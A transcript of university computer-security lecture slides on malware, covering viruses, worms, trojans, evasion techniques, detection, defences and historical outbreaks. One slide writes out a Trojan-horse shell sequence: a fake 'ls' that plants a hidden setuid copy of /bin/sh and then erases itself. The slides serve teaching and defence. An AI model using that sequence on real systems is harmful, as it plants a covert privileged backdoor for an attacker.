Transcript CSC 482/582: Computer Security

Malware
CSC 482/582: Computer Security
Slide #1
Topics
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Types of Malware
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Trojan Horses
Viruses
Worms
Backdoors
Rootkits
Self-Protection Mechanisms.
Payloads.
Malware Interactions.
Detecting Malware.
Defending against Malware.
The changing Malware environment.
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Types of Malware
Trojan Horse
Tricks user into executing malicious code.
Virus
When run by user, copies self into other files.
Worm
Copies self from computer to computer.
Backdoors
Leaves opening for attacker to gain access.
Rootkits
Hides attacker activities from system administrators.
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What about Spyware?
Malware by any other name…
 Corporate malware.
 Presents legal issues for anti-malware software.
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Trojan Horse
Program with both an
overt and covert effect
 Displays expected
behavior when user
executes.
 Covert effect
(executed with user’s
privileges) violates
security policy.
Attacker:
cat >ls
cp /bin/sh /tmp/.xxsh
chmod u+s,o+x
/tmp/.xxsh
rm ./ls
ls $*
^D
Victim:
ls
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Virus
Self-replicating code
 Propagating (replicating) Trojan horse.
 Inserts (possibly evolved) copy into other files.
Virus Pseudocode:
If spread condition then
Foreach target-file
if not infected then copy virus to target-file
Perform (malicious) action
Execute normal code
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Types of Viruses
Boot Sector
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When system boots, code in boot sector executed.
Propagate by altering boot disk creation.
Uncommon today because of low use of boot
floppies, but some Vista laptops shipped with one.
Executable
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Infects executable programs (e.g., COM, EXE).
Executes when infected program is run.
Virus usually runs first, then runs original code.
Dynamic Library
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Infected dynamicly linked libraries (DLLs.)
Executed when any program uses infected DLL.
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Types of Viruses
Device Driver
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Infects loadable device driver.
Executes in kernel mode.
Virtual Machine (.NET)
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Infects .NET MSIL binaries.
Portable: compiled to native code by CLR.
Archive Infectors
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Inserts Trojan horse into ZIP files.
Uses social engineering techniques to get user to run.
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Types of Viruses
Macro Virus
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Infects embedded interpreted code.
Needs interpreter like sh, MS Word macro.
Can infect executables or data files
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Executables must invoke appropriate interpreter.
Most modern data formats support some type of
scripting, including
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Microsoft Office
Windows Help files
HTML: VBScript, JScript
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Infection Methods
Overwriting
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Overwrites program code with virus.
Breaks infected program.
Appending
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Append virus code to executable.
Insert JMP at beginning of executable.
Prepending
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Insert virus code at beginning of executable.
Shift original code to follow virus.
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Infection Methods
Parasitic
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Inserts virus code at beginning of executable.
Shifts beginning of program to end of file.
Cavity
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Insert virus code into unused blocks of file.
Insert JMP at beginning of executable.
Fractionated Cavity
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Fragment virus; inject into multiple cavities.
Loader reads fragments into continuous memory.
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Infection Methods
Compressing
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Compresses executable to make space.
Inserts virus and decompression code.
Fragmenting
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Dynamically fragment virus.
Insert fragments by overwriting or shifting code.
Fragments JMP/CALL each other.
Companion
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Infects COM file of same name as EXE file.
Infects alternate data stream of Win32 file.
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Worms
Copies self from one computer to another
Self-replicating: No user action required unlike virus or
Trojan horse programs.
Spreads via network protocols
ex: SMTP (email), fingerd, MS SQL
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History of Worms
Morris Worm Nov 1988 Disabled most of Internet
using multiple vectors.
Melissa
Mar 1999 MS Word macro virus
spread via Outlook email.
Code Red
Aug 2001 IIS Buffer overflow.
Code Green
Slammer
Sobig
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Sep 2001 Removed Code Red II and
patched vulnerability.
Jan 2003 SQL Server worm infected
entire Internet <1 hr.
Jun 2003 Spam zombie botnet; RCI.
Slide #14
Worm Components
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Vector
Propagation Engine
Target Selection
Scanning Engine
Payload
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Vector
Software to gain access to target host.
Common vectors:
 Buffer overflow exploits.
 Network file sharing, both NFS/SMB and P2P.
 Social-engineering via email or IM.
 Weak passwords.
 Parasitism: target backdoors and worm flaws.
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Propagation Engine
Transfers worm to host exploited by vector.
 Small worms like Slammer included in vector.
Worm Propagation Methods:
 FTP
 HTTP
 SMB
 TFTP
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Remote Control Interface
RCI allows creator to control infected hosts.
Many worms do not have a RCI.
May be a well-known backdoor program.
Common remote control features:
Start/stop infecting new targets.
Download new vectors.
Download new target selectors.
Download new payloads.
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Target Selection
Selecting targets for potential infection.
E-mail address harvesting
 Address books.
 Parse disk files.
 Search news groups.
Network share enumeration
 Check for filesystems shared with other systems.
Network scanning
 Target hosts on current network and connected nets.
 Randomized scanning of Internet space.
Web searching
 Search Google for addresses or vulnerable software.
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Scanning Engine
Check targets for vulnerabilities.
 If vector small, scanning can be skipped.
Scan for vulnerable services.
 Like targeted nmap port scan.
OS Check
 Check for correct OS for vector to work.
Version checking.
 Check version of target software.
 May customize vector based on information.
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Morris Worm
 First Internet Worm: November 1988
 Multi-architecture: Sun, VAX
 Multi-vector
 sendmail (debug backdoor)
 fingerd (buffer overflow)
 rsh (open .rhosts; password cracking)
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Morris Worm
Spreading algorithm
Local network topology: gateways, neighbors.
Used users’ .rhosts, .forward files.
Limited reinfection rate.
Detection Avoidance
Forged process listing as (sh).
Removed created files quickly after use.
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Morris Worm
Resource Requirements
Disk Space.
C compiler and linker.
Network connection to parent computer.
Problems
Didn’t limit re-infections.
Saturated CPU, network resources.
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Malware Self-Protection
Anti-debugging
Detect/disable debuggers when used to analyze code.
Attack anti-malware tools
Disable anti-malware tools upon infection.
Kill processes or destroy/modify signatures.
API checksums
Avoid having UNIX/Win32 API calls in code.
Store checksums of API names and search for match.
Code obfuscation
Use unusual tricks and unused code to avoid dissassembly
and prevent quick analysis of purpose.
Self-modifying code.
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Self-Protection
Compression
Code looks almost random; size is smaller.
Use unusual executable packers to avoid analysis.
Data encryption
Encrypt strings, hostnames, IP addresses to avoid
detection.
Embedding
Use multiple levels of executable packers like UPX.
Scanners have to understand and have time to parse and
decompress each file format.
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Self-Protection
Entry-Point Obscuring
Changing initial code or entry point easy to notice.
Alter program code to gain control randomly.
Host morphing
Alter host file during infection to prevent removal.
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Self-Protection: Encryption
Encrypt all code except small decryptor.
 Note that copy protected files will have similar
decryptors to prevent analysis too.
 Often uses multiple decryptors.
 Change encryption key dynamically.
Random Decryption Algorithm (RDA)
 Choose random key for encryption.
 Brute force search for key to decrypt.
 Slows VMs/debuggers used for analysis.
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Self-Protection: Polymorphism
Alter malware code with each infection.
 Cannot be detected by signature scanning.
 May alter decryptor only or entire code.
 Insert junk instructions that do nothing.
 Fragment and rearrange order of code.
 Alternate sets of instructions for the same task.
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Ex: SUB -1 instead of ADD 1
 Randomize names in macro viruses.
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Case Study: Zmist
EPO, encrypted, polymorphic virus.
Code integration
Decompiles PE files to smallest elements.
Inserts virus randomly into existing code.
Rebuilds executable.
Polymorphic decryptor
Inserted as random fragments linked by JMPs.
Randomizes self with ETG engine.
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Payloads
Accidentally destructive.
Replication damages data due or exhausts system resources
due to malware bugs.
Ex: Morris Worm reinfected hosts, using all CPU.
Nondestructive.
Displays message, graphics, sound, or open CD door.
Ex: Christma worm on IBM network in 1987.
Destructive.
Triggers randomly or on some event or machine type.
Deletes files or overwrites data.
Hardware destroyers: overwrite BIOS.
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Payloads
Denial of Service
Sometimes accidental due to high network use.
Launch DDOS attack with all infected systems.
Data Theft
Phishing scams and spyware.
Encryptors (ransomware)
Encrypts user data.
Ex: One_Half encrypts disk; enables access while running.
Ex: AIDS Info: encrypts disk and holds for ransom.
Spam
Use network of infected systems to launder spam email.
Ex: Sobig worm.
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Malware Interactions
What happens when a virus infects a worm?
Typically both propagate.
May use each other’s self-protection techniques.
What if anti-virus software removes a virus?
Likely leaves unknown virus/worm alone.
Partial removal can mutate the malware into a new form.
Competition and Parasitism
Malware may remove competing malware.
May exploit backdoors/RCI left by previous malware.
May infect competing malware, hijacking its
propagation.
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Theory of Malicious Code
Theorem 1: It is undecidable whether an arbitrary
program contains a computer virus.
Proof:
Define virus v as TM program that copies v to other parts
of the tape, while not overwriting any part of v.
Reduce to Halting Problem: T’ running code V’
reproduces V iff running T on V halts.
Theorem 2: It is undecidable whether an arbitrary
program contains malicious logic.
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Detecting Malware
Signature-based
 Look for known patterns in malicious code.
 Defeated by polymorphic viruses.
Smart scanning
 Skips junk instructions inserted by poly engines.
 Skips whitespace/case changes in macro viruses.
Decryption
 Brute-forces simple XOR-based encryption.
 Checks decrypted text against small virus sig to decide
whether has plaintext or not.
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Detecting Malware
Code Emulation
 Execute potential malware on VM.
 Scan VM memory after certain # iterations.
 Watch instructions for decryptor profile.
Code Optimization.
 Optimize away junk instructions and odd techniques
used by polymorphic viruses.
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Detecting Malware
Heuristics
 Code execution starts in last section.
 Suspicious code redirection.
 Suspicious section ACLs or size.
 Suspicious library routine imports.
 Hard-coded pointers into OS kernel.
Neural Network Heuristics
 IBM researchers trained neural net to recognize difficult
polymorphic viruses.
 Released in Symantec antivirus.
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Detecting Malware
Behavior-based
 Watch for known actions from malicious code.
 Network access signature of worm.
 Unexpected use of dangerous system calls.
Integrity Checking
 Host-based Intrusion Detection System.
 Record MAC, size, dates, ACL of files.
 Periodically check for changes.
 ex: Tripwire, AIDE, Osiris
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Defences: Data vs. Code
Separate data and instructions
 Virus treats program as data
 Writes self to file.
 Virus treats program as instructions
 Virus executes when program is run.
 Solution: Treat all programs as data until trusted
authority marks as executable.
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Development difficult when compilers can’t produce
executable code.
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Defences: Information Flow
Limit Information Flow
 Virus executes with user’s identity.
 Soln: Limit information flow between users.
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Set flow distance to be one for users A, B, C.
A creates virus (fd=0), B executes it (fd=1).
C cannot execute B’s infected program (fd=2).
 Indirect virus spread limited.
 How can we track information flow?
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Defences: Least Privilege
Limit programs to least privilege needed
example: SELinux
Mail virus example
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Virus arrives via email.
Virus exploits bug in email client to execute.
Virus saves self to file in Startup folder.
Virus infects Office documents.
How least privilege would stop
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Mail application cannot create virus binaries.
Mail application cannot write to Startup folder.
Mail application cannot write to Office documents.
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Defences: Sandboxes
Execute code in protected sandbox or VM.
Virtual Browser Appliance
Linux guest running Firefox under VMWare.
Infections can only attack VM, not real host.
Reset VM to initial state if infected.
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Defences: Anomaly Detection
Validate program actions with policy
Limit access to system calls.
Example: systrace.
Check statistical characteristics.
Programmer style.
Compare source code with object.
Statistics of write frequencies, program executions.
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Defences: Counter-worms
Worm that removes other worms from net.
Nachi/Welchia
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Multi-vector W32 worm
Nachi.A removes W32/Blaster worm
Nachi.B removes W32/MyDoom worm
Installed MSRPC DCOM patch to prevent future infections
from Blaster.
Removes self after 2004.
Side-effects
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Infected Diebold ATMs
Worm traffic DOSed Internet, esp Microsoft.
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Fast Worms
Slammer Worm Characteristics
 Attacked MS SQL servers.
 Worm is single 404-bye UDP packet.
 Random-scan (PRNG bugs limited.)
 Limited by network bandwidth, not latency.
 Observed scan rate of 26,000 hosts/second.
 Infected 90% of vulnerable hosts in 10 min.
 Too fast for humans to react.
 Shutdown 13,000 Bank of America ATMs due to
compromising db servers, heavy traffic.
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Profitable Malware
Sobig
 W32 worm using email/network share vectors.
 Contains upgrade mechanism
 Worm checked sites every few minutes.
 When site valid, downloaded code.
 Later variants could update upgrade server list.
 Downloaded payload from upgrade mechanism
 Key logger.
 Wingate proxy server (for spam proxying.)
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Profitable Malware
Trojans
Backdoor.Lala transfers authentication cookies for
eBay, PayPal, etc. to maker.
PWSteal.Bancos automates phishing by displaying
fake web pages when browser goes to certain bank
sites.
Spyware and Adware
More than ever using Trojan techniques.
Win32/Bube virus exploits IE flaw and acts as a virus
infecting IE, then downloads adware.
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Mobile Malware
2004: Cabir virus infecting Symbian OS mobile
phones using Bluetooth appeared in June.
2005: Commwarrior-A worm spreads to Symbian
series 60 phones via phone’s MMS.
Around a 1000 pieces of mobile malware exist.
For Blackberries and Palm Pilots too.
Expect more as smart phones become common.
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Offline Impact
Davis-Besse nuclear power plant
Slammer infected Plant Process Computer and Safety
Parameter Display System (Jan 2003.)
Analog backups unaffected.
Infected contractor’s network, then moved through T1 line
that bypassed plant firewall.
Seattle 911 system
Slammer disabled computer systems.
Dispatchers reverted to manual systems.
2003 Blackout
Blaster infected First Energy systems.
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Modern Malware is
Stealthy: rootkit techniques common.
Targeted: targets smaller banks and countries,
leverages current events:
 January: Storm Worm appears via email with subject
“230 dead as storm batters Europe.”
 February: Miami Dolphins Stadium site hacked before
superbowl so that it would infect browsers with trojan
that grabbed WoW data.
Blended: combine trojan, virus, worm features.
Web-based: use web for delivery and update.
Profit-driven: the goal is to make money.
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References
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Ross Anderson, Security Engineering, Wiley, 2001.
Matt Bishop, Computer Security: Art and Science, Addison-Wesley, 2003.
William Cheswick, Steven Bellovin, and Avriel Rubin, Firewalls and Internet Security, 2nd
edition, 2003.
Fred Cohen, http://www.all.net/books/virus/part1.html, 1984.
Simson Garfinkel, Gene Spafford, and Alan Schartz, Practical UNIX and Internet Security,
3rd edition, O’Reilly & Associates, 2003.
Alexander Gostev, “Malware Evolution: January - March 2005,”
http://www.viruslist.com/en/analysis?pubid=162454316, April 18 2005.
Elias Levy, “Crossover: Online Pests Plaguing the Offline World,” IEEE Security & Privacy,
2003.
Stuart McClure, Joel Scambray, George Kurtz, Hacking Exposed, 5th edition, McGraw-Hill,
2003.
Hilarie Orman, “The Morris Worm: A Fifteen-Year Perspective,” IEEE Security & Privacy,
2003
Cyrus Peikari and Anton Chuvakin, Security Warrior, O’Reilly & Associates, 2003.
Ed Skoudis, Counter Hack Reloaded, Prentice Hall, 2006.
Ed Skoudis and Lenny Zeltser, Malware: Fighting Malicious Code, Prentice Hall, 2003.
Staniford, Stuart, Paxson, Vern, and Weaver, Nicholas, ‘How to 0wn the Internet in Your
Spare Time,” Proceedings of the 11th USENIX Security Symposium, 2002
Peter Szor, The Art of Computer Virus Research and Defense, Addison-Wesley, 2005.
Trend Micro, “1H2007 Threat Roundup,”
http://us.trendmicro.com/imperia/md/content/us/pdf/threats/securitylibrary/1h_2007_th
reat_roundup_final_jul2007.pdf, 2007.
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